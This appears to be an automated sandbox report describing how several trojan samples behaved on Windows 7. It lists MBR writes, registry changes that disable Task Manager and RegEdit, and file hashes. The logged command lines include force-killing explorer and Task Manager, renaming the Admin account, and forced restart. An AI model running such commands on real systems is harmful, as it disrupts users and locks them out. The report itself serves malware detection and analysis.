PID 2104 wrote to memory of 548	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe	C:\Windows\system32\cmd.exe
PID 2104 wrote to memory of 548	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe	C:\Windows\system32\cmd.exe
PID 2104 wrote to memory of 548	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\30D0.tmp\30D1.tmp\30D2.bat C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\30D0.tmp\30D1.tmp\30D2.bat

MD5	f2d5cf0bf3d6ec8c6d5dc97af835c5e5
SHA1	5b60f43fa6d5810bad58de5f06a0f84dd4aa9bf6
SHA256	31ee6e28c82ab165ca3048aec9a88c8590d6f0b94b88e7f87b6ec36d2fa0a24c
SHA512	075fb8005c93d9f61dfa07b41424591ff518a6f9c8a1fff74d1e6df39ec56377e48208e08a01485eafeced2880a4b18061ddfa637611a89ce3f252580c2deff9

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240508-en

Max time kernel

121s

Max time network

126s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Signatures

Disables RegEdit via registry modification

evasion

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

Disables Task Manager via registry modification

evasion

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

System policy modification

evasion

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Bro what have you done"	C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Network

N/A

Files

N/A

Analysis: behavioral15

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240220-en

Max time kernel

Max time network

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Network

N/A

Files

N/A

Analysis: behavioral23

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240508-en

Max time kernel

119s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

Signatures

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2000 wrote to memory of 3052	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 3052	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 3052	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 3052	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 3052 wrote to memory of 2060	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe
PID 3052 wrote to memory of 2060	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe
PID 3052 wrote to memory of 2060	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe
PID 3052 wrote to memory of 2060	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\259406184.bat" "

C:\Windows\SysWOW64\cscript.exe

cscript [regtaskmgr.vbs]

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\259406184.bat

MD5	826431d3df1879172a96555d7ba0aeef
SHA1	f56ff5d3c06f78f53884071d1357ba79ee85b96e
SHA256	e22b0b5185247a3ca52cb7cd6a271efced0d1d6e8910294f7131241f5d58b7ee
SHA512	e995b82e1716ab7f7ea8d810a441ce2b68e570c0e31386670e6c193a11131e5274747205a3245424b7d71b7b0745313bd522eff452b175c80425fbf5ef2bbc52

memory/3052-12-0x00000000001F0000-0x00000000001F1000-memory.dmp

memory/2000-34-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win7-20240419-en

Max time kernel

Max time network

14s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

Signatures

Disables Task Manager via registry modification

evasion

Enumerates connected drives

Description	Indicator	Process	Target
File opened (read-only)	\??\Z:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\A:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\B:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\I:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\J:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\W:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\E:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\R:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\S:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\V:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\X:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\G:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\N:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\O:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\P:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\Q:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\U:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\Y:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\H:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\K:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\L:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\M:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\T:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Modifies WinLogon

persistence

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Sets desktop wallpaper using registry

ransomware

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\Desktop\Wallpaper	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Enumerates physical storage devices

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico"	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2008 wrote to memory of 2660	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 2660	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 2660	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 2660	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
PID 2660 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2556	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2556	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2556	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2556	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2660 wrote to memory of 2684	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2684	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2684	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2684	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2772	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2772	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2772	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2772	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2660 wrote to memory of 2992	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 2660 wrote to memory of 2992	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 2660 wrote to memory of 2992	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 2660 wrote to memory of 2992	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='UR NEXT'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'UR NEXT'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2008-0-0x0000000073FBE000-0x0000000073FBF000-memory.dmp

memory/2008-1-0x0000000001130000-0x00000000017DE000-memory.dmp

memory/2008-2-0x0000000073FB0000-0x000000007469E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\windl.bat

MD5	a9401e260d9856d1134692759d636e92
SHA1	4141d3c60173741e14f36dfe41588bb2716d2867
SHA256	b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7
SHA512	5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

memory/2008-15-0x00000000009F0000-0x00000000009FA000-memory.dmp

memory/2008-16-0x00000000009F0000-0x00000000009FA000-memory.dmp

memory/2008-17-0x0000000073FB0000-0x000000007469E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rniw.exe

MD5	9232120b6ff11d48a90069b25aa30abc
SHA1	97bb45f4076083fca037eee15d001fd284e53e47
SHA256	70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be
SHA512	b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

C:\Users\Admin\AppData\Local\Temp\v.mp4

MD5	d2774b188ab5dde3e2df5033a676a0b4
SHA1	6e8f668cba211f1c3303e4947676f2fc9e4a1bcc
SHA256	95374cf300097872a546d89306374e7cf2676f7a8b4c70274245d2dccfc79443
SHA512	3047a831ed9c8690b00763061807e98e15e9534ebc9499e3e5abb938199f9716c0e24a83a13291a8fd5b91a6598aeeef377d6793f6461fc0247ec4bbd901a131

memory/2008-28-0x0000000000C10000-0x0000000000C1A000-memory.dmp

memory/2008-31-0x0000000000C10000-0x0000000000C1A000-memory.dmp

memory/2008-30-0x0000000000C10000-0x0000000000C1A000-memory.dmp

memory/2008-29-0x0000000000C10000-0x0000000000C1A000-memory.dmp

memory/2008-27-0x0000000000C10000-0x0000000000C1A000-memory.dmp

memory/2008-26-0x0000000000C10000-0x0000000000C1A000-memory.dmp

memory/2008-32-0x0000000000F70000-0x0000000000F7A000-memory.dmp

memory/2008-33-0x0000000000F70000-0x0000000000F7A000-memory.dmp

memory/2008-35-0x0000000000F80000-0x0000000000F8A000-memory.dmp

memory/2008-34-0x0000000000F80000-0x0000000000F8A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\text.txt

MD5	9037ebf0a18a1c17537832bc73739109
SHA1	1d951dedfa4c172a1aa1aae096cfb576c1fb1d60
SHA256	38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48
SHA512	4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

C:\Users\Admin\AppData\Local\Temp\one.rtf

MD5	6fbd6ce25307749d6e0a66ebbc0264e7
SHA1	faee71e2eac4c03b96aabecde91336a6510fff60
SHA256	e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690
SHA512	35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

memory/2008-841-0x0000000073FB0000-0x000000007469E000-memory.dmp

memory/2008-843-0x0000000000F80000-0x0000000000F85000-memory.dmp

memory/2008-842-0x0000000000F70000-0x0000000000F7A000-memory.dmp

Analysis: behavioral25

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win7-20240611-en

Max time kernel

Max time network

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

Signatures

Disables Task Manager via registry modification

evasion

Modifies WinLogon

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Sets desktop wallpaper using registry

ransomware

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-1340930862-1405011213-2821322012-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.png"	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.ico"	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
